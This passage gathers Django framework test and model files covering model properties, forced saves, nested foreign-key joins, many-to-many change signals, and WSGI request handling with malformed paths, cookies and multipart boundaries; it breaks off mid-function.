        c1, c2, c3, c4 = [
            Category.objects.create(name=name)
            for name in ["Sports", "News", "Crime", "Life"]
        ]

        a1 = Article.objects.create(
            headline="Parrot steals", pub_date=datetime(2005, 11, 27)
        )
        a1.primary_categories.add(c2, c3)
        a1.secondary_categories.add(c4)

        a2 = Article.objects.create(
            headline="Parrot runs", pub_date=datetime(2005, 11, 28)
        )
        a2.primary_categories.add(c1, c2)
        a2.secondary_categories.add(c4)

        self.assertQuerysetEqual(
            a1.primary_categories.all(), [
                "Crime",
                "News",
            ],
            lambda c: c.name
        )
        self.assertQuerysetEqual(
            a2.primary_categories.all(), [
                "News",
                "Sports",
            ],
            lambda c: c.name
        )
        self.assertQuerysetEqual(
            a1.secondary_categories.all(), [
                "Life",
            ],
            lambda c: c.name
        )
        self.assertQuerysetEqual(
            c1.primary_article_set.all(), [
                "Parrot runs",
            ],
            lambda a: a.headline
        )
        self.assertQuerysetEqual(
            c1.secondary_article_set.all(), []
        )
        self.assertQuerysetEqual(
            c2.primary_article_set.all(), [
                "Parrot steals",
                "Parrot runs",
            ],
            lambda a: a.headline
        )
        self.assertQuerysetEqual(
            c2.secondary_article_set.all(), []
        )
        self.assertQuerysetEqual(
            c3.primary_article_set.all(), [
                "Parrot steals",
            ],
            lambda a: a.headline
        )
        self.assertQuerysetEqual(
            c3.secondary_article_set.all(), []
        )
        self.assertQuerysetEqual(
            c4.primary_article_set.all(), []
        )
        self.assertQuerysetEqual(
            c4.secondary_article_set.all(), [
                "Parrot steals",
                "Parrot runs",
            ],
            lambda a: a.headline
        )






"""
Using properties on models

Use properties on models just like on any other Python object.
"""

from django.db import models


class Person(models.Model):
    first_name = models.CharField(max_length=30)
    last_name = models.CharField(max_length=30)

    def _get_full_name(self):
        return "%s %s" % (self.first_name, self.last_name)

    def _set_full_name(self, combined_name):
        self.first_name, self.last_name = combined_name.split(' ', 1)

    full_name = property(_get_full_name)

    full_name_2 = property(_get_full_name, _set_full_name)












from __future__ import unicode_literals

from django.test import TestCase

from .models import Person


class PropertyTests(TestCase):

    def setUp(self):
        self.a = Person(first_name='John', last_name='Lennon')
        self.a.save()

    def test_getter(self):
        self.assertEqual(self.a.full_name, 'John Lennon')

    def test_setter(self):
        # The "full_name" property hasn't provided a "set" method.
        with self.assertRaises(AttributeError):
            setattr(self.a, 'full_name', 'Paul McCartney')

        # And cannot be used to initialize the class.
        with self.assertRaisesMessage(TypeError, "'full_name' is an invalid keyword argument"):
            Person(full_name='Paul McCartney')

        # But "full_name_2" has, and it can be used to initialize the class.
        a2 = Person(full_name_2='Paul McCartney')
        a2.save()
        self.assertEqual(a2.first_name, 'Paul')






"""
Tests for forcing insert and update queries (instead of Django's normal
automatic behavior).
"""
from django.db import models


class Counter(models.Model):
    name = models.CharField(max_length=10)
    value = models.IntegerField()


class InheritedCounter(Counter):
    tag = models.CharField(max_length=10)


class ProxyCounter(Counter):
    class Meta:
        proxy = True


class SubCounter(Counter):
    pass


class WithCustomPK(models.Model):
    name = models.IntegerField(primary_key=True)
    value = models.IntegerField()












from __future__ import unicode_literals

from django.db import DatabaseError, IntegrityError, transaction
from django.test import TestCase

from .models import (
    Counter, InheritedCounter, ProxyCounter, SubCounter, WithCustomPK,
)


class ForceTests(TestCase):
    def test_force_update(self):
        c = Counter.objects.create(name="one", value=1)

        # The normal case
        c.value = 2
        c.save()
        # Same thing, via an update
        c.value = 3
        c.save(force_update=True)

        # Won't work because force_update and force_insert are mutually
        # exclusive
        c.value = 4
        with self.assertRaises(ValueError):
            c.save(force_insert=True, force_update=True)

        # Try to update something that doesn't have a primary key in the first
        # place.
        c1 = Counter(name="two", value=2)
        with self.assertRaises(ValueError):
            with transaction.atomic():
                c1.save(force_update=True)
        c1.save(force_insert=True)

        # Won't work because we can't insert a pk of the same value.
        c.value = 5
        with self.assertRaises(IntegrityError):
            with transaction.atomic():
                c.save(force_insert=True)

        # Trying to update should still fail, even with manual primary keys, if
        # the data isn't in the database already.
        obj = WithCustomPK(name=1, value=1)
        with self.assertRaises(DatabaseError):
            with transaction.atomic():
                obj.save(force_update=True)


class InheritanceTests(TestCase):
    def test_force_update_on_inherited_model(self):
        a = InheritedCounter(name="count", value=1, tag="spam")
        a.save()
        a.save(force_update=True)

    def test_force_update_on_proxy_model(self):
        a = ProxyCounter(name="count", value=1)
        a.save()
        a.save(force_update=True)

    def test_force_update_on_inherited_model_without_fields(self):
        '''
        Issue 13864: force_update fails on subclassed models, if they don't
        specify custom fields.
        '''
        a = SubCounter(name="count", value=1)
        a.save()
        a.value = 2
        a.save(force_update=True)






from django.db import models


class Person(models.Model):
    name = models.CharField(max_length=200)


class Movie(models.Model):
    title = models.CharField(max_length=200)
    director = models.ForeignKey(Person, models.CASCADE)


class Event(models.Model):
    pass


class Screening(Event):
    movie = models.ForeignKey(Movie, models.CASCADE)


class ScreeningNullFK(Event):
    movie = models.ForeignKey(Movie, models.SET_NULL, null=True)


class Package(models.Model):
    screening = models.ForeignKey(Screening, models.SET_NULL, null=True)


class PackageNullFK(models.Model):
    screening = models.ForeignKey(ScreeningNullFK, models.SET_NULL, null=True)












from __future__ import unicode_literals

from django.test import TestCase

from .models import (
    Event, Movie, Package, PackageNullFK, Person, Screening, ScreeningNullFK,
)


# These are tests for #16715. The basic scheme is always the same: 3 models with
# 2 relations. The first relation may be null, while the second is non-nullable.
# In some cases, Django would pick the wrong join type for the second relation,
# resulting in missing objects in the queryset.
#
#   Model A
#   | (Relation A/B : nullable)
#   Model B
#   | (Relation B/C : non-nullable)
#   Model C
#
# Because of the possibility of NULL rows resulting from the LEFT OUTER JOIN
# between Model A and Model B (i.e. instances of A without reference to B),
# the second join must also be LEFT OUTER JOIN, so that we do not ignore
# instances of A that do not reference B.
#
# Relation A/B can either be an explicit foreign key or an implicit reverse
# relation such as introduced by one-to-one relations (through multi-table
# inheritance).
class NestedForeignKeysTests(TestCase):
    def setUp(self):
        self.director = Person.objects.create(name='Terry Gilliam / Terry Jones')
        self.movie = Movie.objects.create(title='Monty Python and the Holy Grail', director=self.director)

    # This test failed in #16715 because in some cases INNER JOIN was selected
    # for the second foreign key relation instead of LEFT OUTER JOIN.
    def test_inheritance(self):
        Event.objects.create()
        Screening.objects.create(movie=self.movie)

        self.assertEqual(len(Event.objects.all()), 2)
        self.assertEqual(len(Event.objects.select_related('screening')), 2)
        # This failed.
        self.assertEqual(len(Event.objects.select_related('screening__movie')), 2)

        self.assertEqual(len(Event.objects.values()), 2)
        self.assertEqual(len(Event.objects.values('screening__pk')), 2)
        self.assertEqual(len(Event.objects.values('screening__movie__pk')), 2)
        self.assertEqual(len(Event.objects.values('screening__movie__title')), 2)
        # This failed.
        self.assertEqual(len(Event.objects.values('screening__movie__pk', 'screening__movie__title')), 2)

        # Simple filter/exclude queries for good measure.
        self.assertEqual(Event.objects.filter(screening__movie=self.movie).count(), 1)
        self.assertEqual(Event.objects.exclude(screening__movie=self.movie).count(), 1)

    # These all work because the second foreign key in the chain has null=True.
    def test_inheritance_null_FK(self):
        Event.objects.create()
        ScreeningNullFK.objects.create(movie=None)
        ScreeningNullFK.objects.create(movie=self.movie)

        self.assertEqual(len(Event.objects.all()), 3)
        self.assertEqual(len(Event.objects.select_related('screeningnullfk')), 3)
        self.assertEqual(len(Event.objects.select_related('screeningnullfk__movie')), 3)

        self.assertEqual(len(Event.objects.values()), 3)
        self.assertEqual(len(Event.objects.values('screeningnullfk__pk')), 3)
        self.assertEqual(len(Event.objects.values('screeningnullfk__movie__pk')), 3)
        self.assertEqual(len(Event.objects.values('screeningnullfk__movie__title')), 3)
        self.assertEqual(len(Event.objects.values('screeningnullfk__movie__pk', 'screeningnullfk__movie__title')), 3)

        self.assertEqual(Event.objects.filter(screeningnullfk__movie=self.movie).count(), 1)
        self.assertEqual(Event.objects.exclude(screeningnullfk__movie=self.movie).count(), 2)

    def test_null_exclude(self):
        screening = ScreeningNullFK.objects.create(movie=None)
        ScreeningNullFK.objects.create(movie=self.movie)
        self.assertEqual(
            list(ScreeningNullFK.objects.exclude(movie__id=self.movie.pk)),
            [screening])

    # This test failed in #16715 because in some cases INNER JOIN was selected
    # for the second foreign key relation instead of LEFT OUTER JOIN.
    def test_explicit_ForeignKey(self):
        Package.objects.create()
        screening = Screening.objects.create(movie=self.movie)
        Package.objects.create(screening=screening)

        self.assertEqual(len(Package.objects.all()), 2)
        self.assertEqual(len(Package.objects.select_related('screening')), 2)
        self.assertEqual(len(Package.objects.select_related('screening__movie')), 2)

        self.assertEqual(len(Package.objects.values()), 2)
        self.assertEqual(len(Package.objects.values('screening__pk')), 2)
        self.assertEqual(len(Package.objects.values('screening__movie__pk')), 2)
        self.assertEqual(len(Package.objects.values('screening__movie__title')), 2)
        # This failed.
        self.assertEqual(len(Package.objects.values('screening__movie__pk', 'screening__movie__title')), 2)

        self.assertEqual(Package.objects.filter(screening__movie=self.movie).count(), 1)
        self.assertEqual(Package.objects.exclude(screening__movie=self.movie).count(), 1)

    # These all work because the second foreign key in the chain has null=True.
    def test_explicit_ForeignKey_NullFK(self):
        PackageNullFK.objects.create()
        screening = ScreeningNullFK.objects.create(movie=None)
        screening_with_movie = ScreeningNullFK.objects.create(movie=self.movie)
        PackageNullFK.objects.create(screening=screening)
        PackageNullFK.objects.create(screening=screening_with_movie)

        self.assertEqual(len(PackageNullFK.objects.all()), 3)
        self.assertEqual(len(PackageNullFK.objects.select_related('screening')), 3)
        self.assertEqual(len(PackageNullFK.objects.select_related('screening__movie')), 3)

        self.assertEqual(len(PackageNullFK.objects.values()), 3)
        self.assertEqual(len(PackageNullFK.objects.values('screening__pk')), 3)
        self.assertEqual(len(PackageNullFK.objects.values('screening__movie__pk')), 3)
        self.assertEqual(len(PackageNullFK.objects.values('screening__movie__title')), 3)
        self.assertEqual(len(PackageNullFK.objects.values('screening__movie__pk', 'screening__movie__title')), 3)

        self.assertEqual(PackageNullFK.objects.filter(screening__movie=self.movie).count(), 1)
        self.assertEqual(PackageNullFK.objects.exclude(screening__movie=self.movie).count(), 2)


# Some additional tests for #16715. The only difference is the depth of the
# nesting as we now use 4 models instead of 3 (and thus 3 relations). This
# checks if promotion of join types works for deeper nesting too.
class DeeplyNestedForeignKeysTests(TestCase):
    def setUp(self):
        self.director = Person.objects.create(name='Terry Gilliam / Terry Jones')
        self.movie = Movie.objects.create(title='Monty Python and the Holy Grail', director=self.director)

    def test_inheritance(self):
        Event.objects.create()
        Screening.objects.create(movie=self.movie)

        self.assertEqual(len(Event.objects.all()), 2)
        self.assertEqual(len(Event.objects.select_related('screening__movie__director')), 2)

        self.assertEqual(len(Event.objects.values()), 2)
        self.assertEqual(len(Event.objects.values('screening__movie__director__pk')), 2)
        self.assertEqual(len(Event.objects.values('screening__movie__director__name')), 2)
        self.assertEqual(
            len(Event.objects.values('screening__movie__director__pk', 'screening__movie__director__name')),
            2
        )
        self.assertEqual(len(Event.objects.values('screening__movie__pk', 'screening__movie__director__pk')), 2)
        self.assertEqual(len(Event.objects.values('screening__movie__pk', 'screening__movie__director__name')), 2)
        self.assertEqual(len(Event.objects.values('screening__movie__title', 'screening__movie__director__pk')), 2)
        self.assertEqual(len(Event.objects.values('screening__movie__title', 'screening__movie__director__name')), 2)

        self.assertEqual(Event.objects.filter(screening__movie__director=self.director).count(), 1)
        self.assertEqual(Event.objects.exclude(screening__movie__director=self.director).count(), 1)

    def test_explicit_ForeignKey(self):
        Package.objects.create()
        screening = Screening.objects.create(movie=self.movie)
        Package.objects.create(screening=screening)

        self.assertEqual(len(Package.objects.all()), 2)
        self.assertEqual(len(Package.objects.select_related('screening__movie__director')), 2)

        self.assertEqual(len(Package.objects.values()), 2)
        self.assertEqual(len(Package.objects.values('screening__movie__director__pk')), 2)
        self.assertEqual(len(Package.objects.values('screening__movie__director__name')), 2)
        self.assertEqual(
            len(Package.objects.values('screening__movie__director__pk', 'screening__movie__director__name')),
            2
        )
        self.assertEqual(len(Package.objects.values('screening__movie__pk', 'screening__movie__director__pk')), 2)
        self.assertEqual(len(Package.objects.values('screening__movie__pk', 'screening__movie__director__name')), 2)
        self.assertEqual(len(Package.objects.values('screening__movie__title', 'screening__movie__director__pk')), 2)
        self.assertEqual(len(Package.objects.values('screening__movie__title', 'screening__movie__director__name')), 2)

        self.assertEqual(Package.objects.filter(screening__movie__director=self.director).count(), 1)
        self.assertEqual(Package.objects.exclude(screening__movie__director=self.director).count(), 1)






from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Part(models.Model):
    name = models.CharField(max_length=20)

    class Meta:
        ordering = ('name',)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Car(models.Model):
    name = models.CharField(max_length=20)
    default_parts = models.ManyToManyField(Part)
    optional_parts = models.ManyToManyField(Part, related_name='cars_optional')

    class Meta:
        ordering = ('name',)

    def __str__(self):
        return self.name


class SportsCar(Car):
    price = models.IntegerField()


@python_2_unicode_compatible
class Person(models.Model):
    name = models.CharField(max_length=20)
    fans = models.ManyToManyField('self', related_name='idols', symmetrical=False)
    friends = models.ManyToManyField('self')

    class Meta:
        ordering = ('name',)

    def __str__(self):
        return self.name












"""
Testing signals emitted on changing m2m relations.
"""

from django.db import models
from django.test import TestCase

from .models import Car, Part, Person, SportsCar


class ManyToManySignalsTest(TestCase):
    def m2m_changed_signal_receiver(self, signal, sender, **kwargs):
        message = {
            'instance': kwargs['instance'],
            'action': kwargs['action'],
            'reverse': kwargs['reverse'],
            'model': kwargs['model'],
        }
        if kwargs['pk_set']:
            message['objects'] = list(
                kwargs['model'].objects.filter(pk__in=kwargs['pk_set'])
            )
        self.m2m_changed_messages.append(message)

    def setUp(self):
        self.m2m_changed_messages = []

        self.vw = Car.objects.create(name='VW')
        self.bmw = Car.objects.create(name='BMW')
        self.toyota = Car.objects.create(name='Toyota')

        self.wheelset = Part.objects.create(name='Wheelset')
        self.doors = Part.objects.create(name='Doors')
        self.engine = Part.objects.create(name='Engine')
        self.airbag = Part.objects.create(name='Airbag')
        self.sunroof = Part.objects.create(name='Sunroof')

        self.alice = Person.objects.create(name='Alice')
        self.bob = Person.objects.create(name='Bob')
        self.chuck = Person.objects.create(name='Chuck')
        self.daisy = Person.objects.create(name='Daisy')

    def tearDown(self):
        # disconnect all signal handlers
        models.signals.m2m_changed.disconnect(
            self.m2m_changed_signal_receiver, Car.default_parts.through
        )
        models.signals.m2m_changed.disconnect(
            self.m2m_changed_signal_receiver, Car.optional_parts.through
        )
        models.signals.m2m_changed.disconnect(
            self.m2m_changed_signal_receiver, Person.fans.through
        )
        models.signals.m2m_changed.disconnect(
            self.m2m_changed_signal_receiver, Person.friends.through
        )

    def _initialize_signal_car(self, add_default_parts_before_set_signal=False):
        """ Install a listener on the two m2m relations. """
        models.signals.m2m_changed.connect(
            self.m2m_changed_signal_receiver, Car.optional_parts.through
        )
        if add_default_parts_before_set_signal:
            # adding a default part to our car - no signal listener installed
            self.vw.default_parts.add(self.sunroof)
        models.signals.m2m_changed.connect(
            self.m2m_changed_signal_receiver, Car.default_parts.through
        )

    def test_m2m_relations_add_remove_clear(self):
        expected_messages = []

        self._initialize_signal_car(add_default_parts_before_set_signal=True)

        self.vw.default_parts.add(self.wheelset, self.doors, self.engine)
        expected_messages.append({
            'instance': self.vw,
            'action': 'pre_add',
            'reverse': False,
            'model': Part,
            'objects': [self.doors, self.engine, self.wheelset],
        })
        expected_messages.append({
            'instance': self.vw,
            'action': 'post_add',
            'reverse': False,
            'model': Part,
            'objects': [self.doors, self.engine, self.wheelset],
        })
        self.assertEqual(self.m2m_changed_messages, expected_messages)

        # give the BMW and Toyota some doors as well
        self.doors.car_set.add(self.bmw, self.toyota)
        expected_messages.append({
            'instance': self.doors,
            'action': 'pre_add',
            'reverse': True,
            'model': Car,
            'objects': [self.bmw, self.toyota],
        })
        expected_messages.append({
            'instance': self.doors,
            'action': 'post_add',
            'reverse': True,
            'model': Car,
            'objects': [self.bmw, self.toyota],
        })
        self.assertEqual(self.m2m_changed_messages, expected_messages)

    def test_m2m_relations_signals_remove_relation(self):
        self._initialize_signal_car()
        # remove the engine from the self.vw and the airbag (which is not set
        # but is returned)
        self.vw.default_parts.remove(self.engine, self.airbag)
        self.assertEqual(self.m2m_changed_messages, [
            {
                'instance': self.vw,
                'action': 'pre_remove',
                'reverse': False,
                'model': Part,
                'objects': [self.airbag, self.engine],
            }, {
                'instance': self.vw,
                'action': 'post_remove',
                'reverse': False,
                'model': Part,
                'objects': [self.airbag, self.engine],
            }
        ])

    def test_m2m_relations_signals_give_the_self_vw_some_optional_parts(self):
        expected_messages = []

        self._initialize_signal_car()

        # give the self.vw some optional parts (second relation to same model)
        self.vw.optional_parts.add(self.airbag, self.sunroof)
        expected_messages.append({
            'instance': self.vw,
            'action': 'pre_add',
            'reverse': False,
            'model': Part,
            'objects': [self.airbag, self.sunroof],
        })
        expected_messages.append({
            'instance': self.vw,
            'action': 'post_add',
            'reverse': False,
            'model': Part,
            'objects': [self.airbag, self.sunroof],
        })
        self.assertEqual(self.m2m_changed_messages, expected_messages)

        # add airbag to all the cars (even though the self.vw already has one)
        self.airbag.cars_optional.add(self.vw, self.bmw, self.toyota)
        expected_messages.append({
            'instance': self.airbag,
            'action': 'pre_add',
            'reverse': True,
            'model': Car,
            'objects': [self.bmw, self.toyota],
        })
        expected_messages.append({
            'instance': self.airbag,
            'action': 'post_add',
            'reverse': True,
            'model': Car,
            'objects': [self.bmw, self.toyota],
        })
        self.assertEqual(self.m2m_changed_messages, expected_messages)

    def test_m2m_relations_signals_reverse_relation_with_custom_related_name(self):
        self._initialize_signal_car()
        # remove airbag from the self.vw (reverse relation with custom
        # related_name)
        self.airbag.cars_optional.remove(self.vw)
        self.assertEqual(self.m2m_changed_messages, [
            {
                'instance': self.airbag,
                'action': 'pre_remove',
                'reverse': True,
                'model': Car,
                'objects': [self.vw],
            }, {
                'instance': self.airbag,
                'action': 'post_remove',
                'reverse': True,
                'model': Car,
                'objects': [self.vw],
            }
        ])

    def test_m2m_relations_signals_clear_all_parts_of_the_self_vw(self):
        self._initialize_signal_car()
        # clear all parts of the self.vw
        self.vw.default_parts.clear()
        self.assertEqual(self.m2m_changed_messages, [
            {
                'instance': self.vw,
                'action': 'pre_clear',
                'reverse': False,
                'model': Part,
            }, {
                'instance': self.vw,
                'action': 'post_clear',
                'reverse': False,
                'model': Part,
            }
        ])

    def test_m2m_relations_signals_all_the_doors_off_of_cars(self):
        self._initialize_signal_car()
        # take all the doors off of cars
        self.doors.car_set.clear()
        self.assertEqual(self.m2m_changed_messages, [
            {
                'instance': self.doors,
                'action': 'pre_clear',
                'reverse': True,
                'model': Car,
            }, {
                'instance': self.doors,
                'action': 'post_clear',
                'reverse': True,
                'model': Car,
            }
        ])

    def test_m2m_relations_signals_reverse_relation(self):
        self._initialize_signal_car()
        # take all the airbags off of cars (clear reverse relation with custom
        # related_name)
        self.airbag.cars_optional.clear()
        self.assertEqual(self.m2m_changed_messages, [
            {
                'instance': self.airbag,
                'action': 'pre_clear',
                'reverse': True,
                'model': Car,
            }, {
                'instance': self.airbag,
                'action': 'post_clear',
                'reverse': True,
                'model': Car,
            }
        ])

    def test_m2m_relations_signals_alternative_ways(self):
        expected_messages = []

        self._initialize_signal_car()

        # alternative ways of setting relation:
        self.vw.default_parts.create(name='Windows')
        p6 = Part.objects.get(name='Windows')
        expected_messages.append({
            'instance': self.vw,
            'action': 'pre_add',
            'reverse': False,
            'model': Part,
            'objects': [p6],
        })
        expected_messages.append({
            'instance': self.vw,
            'action': 'post_add',
            'reverse': False,
            'model': Part,
            'objects': [p6],
        })
        self.assertEqual(self.m2m_changed_messages, expected_messages)

        # direct assignment clears the set first, then adds
        self.vw.default_parts.set([self.wheelset, self.doors, self.engine])
        expected_messages.append({
            'instance': self.vw,
            'action': 'pre_remove',
            'reverse': False,
            'model': Part,
            'objects': [p6],
        })
        expected_messages.append({
            'instance': self.vw,
            'action': 'post_remove',
            'reverse': False,
            'model': Part,
            'objects': [p6],
        })
        expected_messages.append({
            'instance': self.vw,
            'action': 'pre_add',
            'reverse': False,
            'model': Part,
            'objects': [self.doors, self.engine, self.wheelset],
        })
        expected_messages.append({
            'instance': self.vw,
            'action': 'post_add',
            'reverse': False,
            'model': Part,
            'objects': [self.doors, self.engine, self.wheelset],
        })
        self.assertEqual(self.m2m_changed_messages, expected_messages)

    def test_m2m_relations_signals_clearing_removing(self):
        expected_messages = []

        self._initialize_signal_car(add_default_parts_before_set_signal=True)

        # set by clearing.
        self.vw.default_parts.set([self.wheelset, self.doors, self.engine], clear=True)
        expected_messages.append({
            'instance': self.vw,
            'action': 'pre_clear',
            'reverse': False,
            'model': Part,
        })
        expected_messages.append({
            'instance': self.vw,
            'action': 'post_clear',
            'reverse': False,
            'model': Part,
        })
        expected_messages.append({
            'instance': self.vw,
            'action': 'pre_add',
            'reverse': False,
            'model': Part,
            'objects': [self.doors, self.engine, self.wheelset],
        })
        expected_messages.append({
            'instance': self.vw,
            'action': 'post_add',
            'reverse': False,
            'model': Part,
            'objects': [self.doors, self.engine, self.wheelset],
        })
        self.assertEqual(self.m2m_changed_messages, expected_messages)

        # set by only removing what's necessary.
        self.vw.default_parts.set([self.wheelset, self.doors], clear=False)
        expected_messages.append({
            'instance': self.vw,
            'action': 'pre_remove',
            'reverse': False,
            'model': Part,
            'objects': [self.engine],
        })
        expected_messages.append({
            'instance': self.vw,
            'action': 'post_remove',
            'reverse': False,
            'model': Part,
            'objects': [self.engine],
        })
        self.assertEqual(self.m2m_changed_messages, expected_messages)

    def test_m2m_relations_signals_when_inheritance(self):
        expected_messages = []

        self._initialize_signal_car(add_default_parts_before_set_signal=True)

        # Check that signals still work when model inheritance is involved
        c4 = SportsCar.objects.create(name='Bugatti', price='1000000')
        c4b = Car.objects.get(name='Bugatti')
        c4.default_parts.set([self.doors])
        expected_messages.append({
            'instance': c4,
            'action': 'pre_add',
            'reverse': False,
            'model': Part,
            'objects': [self.doors],
        })
        expected_messages.append({
            'instance': c4,
            'action': 'post_add',
            'reverse': False,
            'model': Part,
            'objects': [self.doors],
        })
        self.assertEqual(self.m2m_changed_messages, expected_messages)

        self.engine.car_set.add(c4)
        expected_messages.append({
            'instance': self.engine,
            'action': 'pre_add',
            'reverse': True,
            'model': Car,
            'objects': [c4b],
        })
        expected_messages.append({
            'instance': self.engine,
            'action': 'post_add',
            'reverse': True,
            'model': Car,
            'objects': [c4b],
        })
        self.assertEqual(self.m2m_changed_messages, expected_messages)

    def _initialize_signal_person(self):
        # Install a listener on the two m2m relations.
        models.signals.m2m_changed.connect(
            self.m2m_changed_signal_receiver, Person.fans.through
        )
        models.signals.m2m_changed.connect(
            self.m2m_changed_signal_receiver, Person.friends.through
        )

    def test_m2m_relations_with_self_add_friends(self):
        self._initialize_signal_person()
        self.alice.friends.set([self.bob, self.chuck])
        self.assertEqual(self.m2m_changed_messages, [
            {
                'instance': self.alice,
                'action': 'pre_add',
                'reverse': False,
                'model': Person,
                'objects': [self.bob, self.chuck],
            }, {
                'instance': self.alice,
                'action': 'post_add',
                'reverse': False,
                'model': Person,
                'objects': [self.bob, self.chuck],
            }
        ])

    def test_m2m_relations_with_self_add_fan(self):
        self._initialize_signal_person()
        self.alice.fans.set([self.daisy])
        self.assertEqual(self.m2m_changed_messages, [
            {
                'instance': self.alice,
                'action': 'pre_add',
                'reverse': False,
                'model': Person,
                'objects': [self.daisy],
            }, {
                'instance': self.alice,
                'action': 'post_add',
                'reverse': False,
                'model': Person,
                'objects': [self.daisy],
            }
        ])

    def test_m2m_relations_with_self_add_idols(self):
        self._initialize_signal_person()
        self.chuck.idols.set([self.alice, self.bob])
        self.assertEqual(self.m2m_changed_messages, [
            {
                'instance': self.chuck,
                'action': 'pre_add',
                'reverse': True,
                'model': Person,
                'objects': [self.alice, self.bob],
            }, {
                'instance': self.chuck,
                'action': 'post_add',
                'reverse': True,
                'model': Person,
                'objects': [self.alice, self.bob],
            }
        ])






from __future__ import unicode_literals

from django.core.exceptions import SuspiciousOperation
from django.db import connection, transaction
from django.http import HttpResponse, StreamingHttpResponse
from django.views.decorators.csrf import csrf_exempt

try:
    from http import HTTPStatus
except ImportError:  # Python < 3.5
    pass


def regular(request):
    return HttpResponse(b"regular content")


def streaming(request):
    return StreamingHttpResponse([b"streaming", b" ", b"content"])


def in_transaction(request):
    return HttpResponse(str(connection.in_atomic_block))


@transaction.non_atomic_requests
def not_in_transaction(request):
    return HttpResponse(str(connection.in_atomic_block))


def suspicious(request):
    raise SuspiciousOperation('dubious')


@csrf_exempt
def malformed_post(request):
    request.POST
    return HttpResponse()


def httpstatus_enum(request):
    return HttpResponse(status=HTTPStatus.OK)






from __future__ import unicode_literals

from django.conf.urls import url

from . import views

urlpatterns = [
    url(r'^regular/$', views.regular),
    url(r'^streaming/$', views.streaming),
    url(r'^in_transaction/$', views.in_transaction),
    url(r'^not_in_transaction/$', views.not_in_transaction),
    url(r'^suspicious/$', views.suspicious),
    url(r'^malformed_post/$', views.malformed_post),
    url(r'^httpstatus_enum/$', views.httpstatus_enum),
]












# -*- coding: utf-8 -*-

from __future__ import unicode_literals

import unittest

from django.core.exceptions import ImproperlyConfigured
from django.core.handlers.wsgi import WSGIHandler, WSGIRequest, get_script_name
from django.core.signals import request_finished, request_started
from django.db import close_old_connections, connection
from django.test import (
    RequestFactory, SimpleTestCase, TransactionTestCase, override_settings,
)
from django.utils import six
from django.utils.encoding import force_str

try:
    from http import HTTPStatus
except ImportError:  # Python < 3.5
    HTTPStatus = None


class HandlerTests(SimpleTestCase):

    def setUp(self):
        request_started.disconnect(close_old_connections)

    def tearDown(self):
        request_started.connect(close_old_connections)

    def test_middleware_initialized(self):
        handler = WSGIHandler()
        self.assertIsNotNone(handler._request_middleware)

    def test_bad_path_info(self):
        """
        A non-UTF-8 path populates PATH_INFO with an URL-encoded path and
        produces a 404.
        """
        environ = RequestFactory().get('/').environ
        environ['PATH_INFO'] = b'\xed' if six.PY2 else '\xed'
        handler = WSGIHandler()
        response = handler(environ, lambda *a, **k: None)
        # The path of the request will be encoded to '/%ED'.
        self.assertEqual(response.status_code, 404)

    def test_non_ascii_query_string(self):
        """
        Test that non-ASCII query strings are properly decoded (#20530, #22996).
        """
        environ = RequestFactory().get('/').environ
        raw_query_strings = [
            b'want=caf%C3%A9',  # This is the proper way to encode 'café'
            b'want=caf\xc3\xa9',  # UA forgot to quote bytes
            b'want=caf%E9',  # UA quoted, but not in UTF-8
            b'want=caf\xe9',  # UA forgot to convert Latin-1 to UTF-8 and to quote (typical of MSIE)
        ]
        got = []
        for raw_query_string in raw_query_strings:
            if six.PY3:
                # Simulate http.server.BaseHTTPRequestHandler.parse_request handling of raw request
                environ['QUERY_STRING'] = str(raw_query_string, 'iso-8859-1')
            else:
                environ['QUERY_STRING'] = raw_query_string
            request = WSGIRequest(environ)
            got.append(request.GET['want'])
        if six.PY2:
            self.assertListEqual(got, ['café', 'café', 'café', 'café'])
        else:
            # On Python 3, %E9 is converted to the unicode replacement character by parse_qsl
            self.assertListEqual(got, ['café', 'café', 'caf\ufffd', 'café'])

    def test_non_ascii_cookie(self):
        """Test that non-ASCII cookies set in JavaScript are properly decoded (#20557)."""
        environ = RequestFactory().get('/').environ
        raw_cookie = 'want="café"'
        if six.PY3:
            raw_cookie = raw_cookie.encode('utf-8').decode('iso-8859-1')
        environ['HTTP_COOKIE'] = raw_cookie
        request = WSGIRequest(environ)
        # If would be nicer if request.COOKIES returned unicode values.
        # However the current cookie parser doesn't do this and fixing it is
        # much more work than fixing #20557. Feel free to remove force_str()!
        self.assertEqual(request.COOKIES['want'], force_str("café"))

    def test_invalid_unicode_cookie(self):
        """
        Invalid cookie content should result in an absent cookie, but not in a
        crash while trying to decode it (#23638).
        """
        environ = RequestFactory().get('/').environ
        environ['HTTP_COOKIE'] = 'x=W\x03c(h]\x8e'
        request = WSGIRequest(environ)
        # We don't test COOKIES content, as the result might differ between
        # Python version because parsing invalid content became stricter in
        # latest versions.
        self.assertIsInstance(request.COOKIES, dict)

    @override_settings(ROOT_URLCONF='handlers.urls')
    def test_invalid_multipart_boundary(self):
        """
        Invalid boundary string should produce a "Bad Request" response, not a
        server error (#23887).
        """
        environ = RequestFactory().post('/malformed_post/').environ
        environ['CONTENT_TYPE'] = 'multipart/form-data; boundary=WRONG\x07'
        handler = WSGIHandler()
        response = handler(environ, lambda *a, **k: None)
        # Expect "bad request" response
        self.assertEqual(response.status_code, 400)


@override_settings(ROOT_URLCONF='handlers.urls')
class TransactionsPerRequestTests(TransactionTestCase):

    available_apps = []

    def test_no_transaction(self):
        response = self.client.get('/in_transaction/')
        self.assertContains(response, 'False')

    def test_auto_transaction(self):
        old_atomic_requests = connection.settings_dict['ATOMIC_REQUESTS']
        try:
            connection.settings_dict['ATOMIC_REQUESTS'] = True
            response = self.client.get('/in_transaction/')
        finally:
            connection.settings_dict['ATOMIC_REQUESTS'] = old_atomic_requests
        self.assertContains(response, 'True')

    def test_no_auto_transaction(self):
        old_atomic_requests = connection.settings_dict['ATOMIC_REQUESTS']
        try:
            connection.settings_dict['ATOMIC_REQUESTS'] = True
            response = self.client.get('/not_in_transaction/')
        finally:
            connection.settings_dict['ATOMIC_REQUESTS'] = old_atomic_requests
        self.assertContains(response, 'False')


@override_settings(ROOT_URLCONF='handlers.urls')
class SignalsTests(SimpleTestCase):

    def setUp(self):
        self.signals = []
        self.signaled_environ = None
        request_started.connect(self.register_started)
        request_finished.connect(self.register_finished)

    def tearDown(self):
        request_started.disconnect(self.register_started)
        request_finished.disconnect(self.register_finished)

    def register_started(self, **kwargs):
        self.signals.append('started')
        self.signaled_environ = kwargs.get('environ')

    def register_finished(self, **kwargs):
